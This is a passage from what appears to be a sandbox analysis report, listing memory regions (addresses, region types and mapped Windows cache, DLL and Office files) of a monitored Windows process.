monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 437 start_va = 0x22b0000 end_va = 0x22b1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 438 start_va = 0x22c0000 end_va = 0x22c1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 439 start_va = 0x22d0000 end_va = 0x22d3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022d0000" filename = "" Region: id = 440 start_va = 0x22e0000 end_va = 0x22e0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{0fa68fff-8d1f-4fcc-b2fc-0c8384cf8d69}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{0FA68FFF-8D1F-4FCC-B2FC-0C8384CF8D69}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{0fa68fff-8d1f-4fcc-b2fc-0c8384cf8d69}.2.ver0x0000000000000001.db") Region: id = 441 start_va = 0x22f0000 end_va = 0x236ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000022f0000" filename = "" Region: id = 442 start_va = 0x2370000 end_va = 0x2371fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002370000" filename = "" Region: id = 443 start_va = 0x2380000 end_va = 0x2397fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000000d.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.1.ver0x000000000000000d.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{3da71d5a-20cc-432f-a115-dfe92379e91f}.1.ver0x000000000000000d.db") Region: id = 444 start_va = 0x23a0000 end_va = 0x23a1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 445 start_va = 0x23b0000 end_va = 0x23b3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 446 start_va = 0x23c0000 end_va = 0x23c0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{3ec13d2a-c75f-4a0a-9855-0b415d40999c}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{3EC13D2A-C75F-4A0A-9855-0B415D40999C}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{3ec13d2a-c75f-4a0a-9855-0b415d40999c}.2.ver0x0000000000000001.db") Region: id = 447 start_va = 0x23d0000 end_va = 0x23d0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 448 start_va = 0x23e0000 end_va = 0x23e1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 449 start_va = 0x23f0000 end_va = 0x23f6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 450 start_va = 0x2400000 end_va = 0x2401fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002400000" filename = "" Region: id = 451 start_va = 0x2410000 end_va = 0x2410fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 452 start_va = 0x2420000 end_va = 0x2420fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 453 start_va = 0x2430000 end_va = 0x2430fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 454 start_va = 0x2440000 end_va = 0x2441fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002440000" filename = "" Region: id = 455 start_va = 0x2450000 end_va = 0x2451fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002450000" filename = "" Region: id = 456 start_va = 0x2460000 end_va = 0x246ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 457 start_va = 0x2470000 end_va = 0x27a6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 458 start_va = 0x27b0000 end_va = 0x288ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 459 start_va = 0x2890000 end_va = 0x298ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 460 start_va = 0x2990000 end_va = 0x2a0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002990000" filename = "" Region: id = 461 start_va = 0x2a10000 end_va = 0x2acbfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002a10000" filename = "" Region: id = 462 start_va = 0x2ad0000 end_va = 0x2bcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ad0000" filename = "" Region: id = 463 start_va = 0x2bd0000 end_va = 0x3c0ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 464 start_va = 0x3c10000 end_va = 0x3c8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c10000" filename = "" Region: id = 465 start_va = 0x3c90000 end_va = 0x3c90fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c90000" filename = "" Region: id = 466 start_va = 0x3ca0000 end_va = 0x3ca0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ca0000" filename = "" Region: id = 467 start_va = 0x3cb0000 end_va = 0x3cb0fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 468 start_va = 0x3cc0000 end_va = 0x3dbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003cc0000" filename = "" Region: id = 469 start_va = 0x3dc0000 end_va = 0x3dc0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003dc0000" filename = "" Region: id = 470 start_va = 0x3dd0000 end_va = 0x3ddffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003dd0000" filename = "" Region: id = 471 start_va = 0x3de0000 end_va = 0x3deffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003de0000" filename = "" Region: id = 472 start_va = 0x3df0000 end_va = 0x3dfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003df0000" filename = "" Region: id = 473 start_va = 0x3e00000 end_va = 0x3e00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e00000" filename = "" Region: id = 474 start_va = 0x3e10000 end_va = 0x3e10fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e10000" filename = "" Region: id = 475 start_va = 0x3e20000 end_va = 0x3e20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e20000" filename = "" Region: id = 476 start_va = 0x3e30000 end_va = 0x3e33fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 477 start_va = 0x3e40000 end_va = 0x3e40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e40000" filename = "" Region: id = 478 start_va = 0x3e50000 end_va = 0x3e50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003e50000" filename = "" Region: id = 479 start_va = 0x3e60000 end_va = 0x3e60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003e60000" filename = "" Region: id = 480 start_va = 0x3e70000 end_va = 0x3e71fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003e70000" filename = "" Region: id = 481 start_va = 0x3e80000 end_va = 0x3eb8fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003e80000" filename = "" Region: id = 482 start_va = 0x3ec0000 end_va = 0x3ec0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ec0000" filename = "" Region: id = 483 start_va = 0x3ed0000 end_va = 0x3ed0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ed0000" filename = "" Region: id = 484 start_va = 0x3ee0000 end_va = 0x3ee1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003ee0000" filename = "" Region: id = 485 start_va = 0x3ef0000 end_va = 0x3f37fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003ef0000" filename = "" Region: id = 486 start_va = 0x3f40000 end_va = 0x3f41fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 487 start_va = 0x3f50000 end_va = 0x3f51fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000003f50000" filename = "" Region: id = 488 start_va = 0x3f60000 end_va = 0x3f63fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 489 start_va = 0x3f70000 end_va = 0x3fb4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000005.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000005.db") Region: id = 490 start_va = 0x3fc0000 end_va = 0x3fc3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 491 start_va = 0x3fd0000 end_va = 0x405dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 492 start_va = 0x4060000 end_va = 0x40dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004060000" filename = "" Region: id = 493 start_va = 0x40e0000 end_va = 0x415ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000040e0000" filename = "" Region: id = 494 start_va = 0x4160000 end_va = 0x41dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004160000" filename = "" Region: id = 495 start_va = 0x41e0000 end_va = 0x41e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041e0000" filename = "" Region: id = 496 start_va = 0x41f0000 end_va = 0x4238fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000041f0000" filename = "" Region: id = 497 start_va = 0x4240000 end_va = 0x4240fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "msxml6r.dll" filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll") Region: id = 498 start_va = 0x4250000 end_va = 0x4250fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004250000" filename = "" Region: id = 499 start_va = 0x4260000 end_va = 0x4266fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004260000" filename = "" Region: id = 500 start_va = 0x4270000 end_va = 0x42effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004270000" filename = "" Region: id = 501 start_va = 0x42f0000 end_va = 0x42fdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000042f0000" filename = "" Region: id = 502 start_va = 0x4300000 end_va = 0x4304fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004300000" filename = "" Region: id = 503 start_va = 0x4330000 end_va = 0x4331fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004330000" filename = "" Region: id = 504 start_va = 0x4370000 end_va = 0x43effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004370000" filename = "" Region: id = 505 start_va = 0x43f0000 end_va = 0x48e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000043f0000" filename = "" Region: id = 506 start_va = 0x48f0000 end_va = 0x4aeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000048f0000" filename = "" Region: id = 507 start_va = 0x4af0000 end_va = 0x4beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004af0000" filename = "" Region: id = 508 start_va = 0x4bf0000 end_va = 0x4bf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004bf0000" filename = "" Region: id = 509 start_va = 0x4c00000 end_va = 0x4c00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c00000" filename = "" Region: id = 510 start_va = 0x4c10000 end_va = 0x4c1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c10000" filename = "" Region: id = 511 start_va = 0x4c20000 end_va = 0x4c20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004c20000" filename = "" Region: id = 512 start_va = 0x4c30000 end_va = 0x4c34fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\System32\\winnlsres.dll" (normalized: "c:\\windows\\system32\\winnlsres.dll") Region: id = 513 start_va = 0x4c40000 end_va = 0x4c4ffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\System32\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\winnlsres.dll.mui") Region: id = 514 start_va = 0x4c60000 end_va = 0x4c63fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 515 start_va = 0x4c70000 end_va = 0x4d8cfff monitored = 0 entry_point = 0x4c71cc0 region_type = mapped_file name = "wscui.cpl" filename = "\\Windows\\System32\\wscui.cpl" (normalized: "c:\\windows\\system32\\wscui.cpl") Region: id = 516 start_va = 0x4df0000 end_va = 0x4e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004df0000" filename = "" Region: id = 517 start_va = 0x4e70000 end_va = 0x566ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e70000" filename = "" Region: id = 518 start_va = 0x5670000 end_va = 0x5671fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005670000" filename = "" Region: id = 519 start_va = 0x5680000 end_va = 0x5681fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "inputswitch.dll.mui" filename = "\\Windows\\System32\\en-US\\InputSwitch.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\inputswitch.dll.mui") Region: id = 520 start_va = 0x5690000 end_va = 0x5690fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005690000" filename = "" Region: id = 521 start_va = 0x56a0000 end_va = 0x56a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000056a0000" filename = "" Region: id = 522 start_va = 0x56b0000 end_va = 0x56b1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000056b0000" filename = "" Region: id = 523 start_va = 0x56c0000 end_va = 0x56c1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000056c0000" filename = "" Region: id = 524 start_va = 0x56d0000 end_va = 0x56d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000056d0000" filename = "" Region: id = 525 start_va = 0x56f0000 end_va = 0x57effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000056f0000" filename = "" Region: id = 526 start_va = 0x57f0000 end_va = 0x586ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000057f0000" filename = "" Region: id = 527 start_va = 0x5870000 end_va = 0x7bf1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "appdb.dat" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Notifications\\appdb.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\notifications\\appdb.dat") Region: id = 528 start_va = 0x7c00000 end_va = 0x7c08fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c00000" filename = "" Region: id = 529 start_va = 0x7c40000 end_va = 0x7c48fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c40000" filename = "" Region: id = 530 start_va = 0x7c50000 end_va = 0x7c50fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007c50000" filename = "" Region: id = 531 start_va = 0x7c60000 end_va = 0x7d5ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 532 start_va = 0x7d60000 end_va = 0x7d61fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007d60000" filename = "" Region: id = 533 start_va = 0x7d70000 end_va = 0x7db7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007d70000" filename = "" Region: id = 534 start_va = 0x7dc0000 end_va = 0x7dc1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007dc0000" filename = "" Region: id = 535 start_va = 0x7e00000 end_va = 0x7e01fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007e00000" filename = "" Region: id = 536 start_va = 0x7e10000 end_va = 0x7e10fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "netmsg.dll" filename = "\\Windows\\System32\\netmsg.dll" (normalized: "c:\\windows\\system32\\netmsg.dll") Region: id = 537 start_va = 0x7e40000 end_va = 0x7e43fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "bthprops.cpl.mui" filename = "\\Windows\\System32\\en-US\\bthprops.cpl.mui" (normalized: "c:\\windows\\system32\\en-us\\bthprops.cpl.mui") Region: id = 538 start_va = 0x7e50000 end_va = 0x7e51fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007e50000" filename = "" Region: id = 539 start_va = 0x7e60000 end_va = 0x7e60fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007e60000" filename = "" Region: id = 540 start_va = 0x7e70000 end_va = 0x7e71fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007e70000" filename = "" Region: id = 541 start_va = 0x7e80000 end_va = 0x7ec7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007e80000" filename = "" Region: id = 542 start_va = 0x7f00000 end_va = 0x7f00fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000007f00000" filename = "" Region: id = 543 start_va = 0x7f90000 end_va = 0x800ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000007f90000" filename = "" Region: id = 544 start_va = 0x8010000 end_va = 0x81c8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "office.odf" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 545 start_va = 0x81d0000 end_va = 0x824ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000081d0000" filename = "" Region: id = 546 start_va = 0x82d0000 end_va = 0x86cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000082d0000" filename = "" Region: id = 547 start_va = 0x86d0000 end_va = 0x87cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 548 start_va = 0x8890000 end_va = 0x889ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008890000" filename = "" Region: id = 549 start_va = 0x88d0000 end_va = 0x894ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000088d0000" filename = "" Region: id = 550 start_va = 0x8950000 end_va = 0x8b4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008950000" filename = "" Region: id = 551 start_va = 0x8bd0000 end_va = 0x8c4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008bd0000" filename = "" Region: id = 552 start_va = 0x8c50000 end_va = 0x8ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008c50000" filename = "" Region: id = 553 start_va = 0x8cd0000 end_va = 0x8d4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008cd0000" filename = "" Region: id = 554 start_va = 0x8d50000 end_va = 0x8dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008d50000" filename = "" Region: id = 555 start_va = 0x8dd0000 end_va = 0x92c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008dd0000" filename = "" Region: id = 556 start_va = 0x92d0000 end_va = 0x93cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 557 start_va = 0x93d0000 end_va = 0x944ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000093d0000" filename = "" Region: id = 558 start_va = 0x94d0000 end_va = 0x954ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000094d0000" filename = "" Region: id = 559 start_va = 0x9550000 end_va = 0x95cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000009550000" filename = "" Region: id = 560 start_va = 0x95d0000 end_va = 0x97cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000095d0000" filename = "" Region: id = 561 start_va = 0x97d0000 end_va = 0x984ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000097d0000" filename = "" Region: id = 562 start_va = 0x98d0000 end_va = 0x98d2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000098d0000" filename = "" Region: id = 563 start_va = 0x98e0000 end_va = 0x98e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000098e0000" filename = "" Region: id = 564 start_va = 0x98f0000 end_va = 0xa0effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000098f0000" filename = "" Region: id = 565 start_va = 0xa0f0000 end_va = 0xa277fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ieframe.dll.mui" filename = "\\Windows\\System32\\en-US\\ieframe.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\ieframe.dll.mui") Region: id = 566 start_va = 0xa350000 end_va = 0xa3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a350000" filename = "" Region: id = 567 start_va = 0xa3d0000 end_va = 0xa44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a3d0000" filename = "" Region: id = 568 start_va = 0xa450000 end_va = 0xa4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a450000" filename = "" Region: id = 569 start_va = 0xa4d0000 end_va = 0xa5cffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 570 start_va = 0xa5d0000 end_va = 0xa64ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a5d0000" filename = "" Region: id = 571 start_va = 0xa650000 end_va = 0xa6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a650000" filename = "" Region: id = 572 start_va = 0xa6d0000 end_va = 0xa74ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a6d0000" filename = "" Region: id = 573 start_va = 0xa750000 end_va = 0xa7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a750000" filename = "" Region: id = 574 start_va = 0xa7d0000 end_va = 0xa8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000a7d0000" filename = "" Region: id = 575 start_va = 0xa8e0000 end_va = 0xa8e1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a8e0000" filename = "" Region: id = 576 start_va = 0xa8f0000 end_va = 0xa8f1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a8f0000" filename = "" Region: id = 577 start_va = 0xa910000 end_va = 0xa911fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a910000" filename = "" Region: id = 578 start_va = 0xa920000 end_va = 0xa921fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a920000" filename = "" Region: id = 579 start_va = 0xa930000 end_va = 0xa931fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a930000" filename = "" Region: id = 580 start_va = 0xa940000 end_va = 0xa941fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000a940000" filename = "" Region: id = 581 start_va = 0xa950000 end_va = 0xaa4ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 582 start_va = 0xaa50000 end_va = 0xab4ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: 